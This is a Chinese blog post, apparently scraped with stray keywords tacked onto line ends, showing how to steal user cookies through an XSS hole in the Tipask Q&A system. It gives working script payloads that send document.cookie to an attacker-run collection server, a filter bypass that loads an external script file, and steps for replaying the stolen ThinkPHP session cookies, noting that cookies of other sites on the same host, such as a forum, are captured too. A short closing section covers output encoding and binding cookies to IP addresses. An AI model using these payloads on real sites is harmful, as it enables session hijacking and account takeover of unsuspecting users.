首先必定要先来吐槽一下tipask系统。这是一枚开源的相似百度知道的系统,可是漏洞多多,最基本的XSS注入都没法防护。php
言归正传:html
【准备1】 cookie接收服务器。 平时喜欢用sae,因此在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。chrome
数据表结构很简单thinkphp
其中time,ip,pre_url均可以没有。数据库
页面代码以下浏览器
实际应用像下面这样:php框架
访问连接:http://xxx.sinaapp.com/?cookie=xxxx;服务器
xxxx的内容就会自动存入数据库。cookie
【准备2】利用xss漏洞截取用户的cookieapp
输入内容
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>
提交后发现没反应,审查元素:
<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>
发现代码被浏览器处理过了:把加号给过滤掉了。怎么处理呢?
答案是:引入外部js文件!!
仍是在刚才的文本框输入:
<script src='http://xxx.sinaapp.com/js/test.js'></script>
js文件内容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;
【Go!】
当用户访问被XSS注入的页面时,会自动引入test.js文件,这个文件里包含的js语句,会读取页面的cookie,而后访问一个get传值的页面,cookie就会自动存储到数据库中了~
【得到cookie以后】
win7下的cookie存储方式比较特别,xxxx.txt,根本分不清哪一个是哪一个,因而楼主给chrome浏览器装了个插件,EditThisCookie,能够在浏览器上对cookie进行读取,删除,修改操做。
tipask用了thinkphp框架,ThinkPHP保存cookie时有两个关键值,tp_auth和tp_sid,更新了这两个值就能获取登陆状态了。可是,咳咳,ThinkPHP框架把tp_auth的值设置了和IP绑定,因此即便你拿到cookie,若是cookie不匹配,也P用不中~可是,咳咳咳,此处获取的cookie可不仅tipask系统的cookie,而是tipask系统所在IP地址全部应用的cookie..好比说,xxx.xxx.edu.cn对应是dz论坛,xxx.xxx.edu.cn/zhidao对应的tipask,那么获取的cookie既有tipask的,也有dz论坛的。因此~
【xss注入初步解决方案】
1. 防止xss注入的原理,就是对用户输入的富文本进行html encode
PHP环境下处理函数以下:
function re_xss($list) { if(is_array($list)) foreach ($list as $key => $value) { foreach ($value as $keys => $values) { $list[$key][$keys]=htmlspecialchars($values); } } else $list=htmlspecialchars($list); return $list; }
2. 防止cookie被窃取的原理,就是像ThinkPHP,把cookie和IP地址绑定,或者和其余惟一值绑定。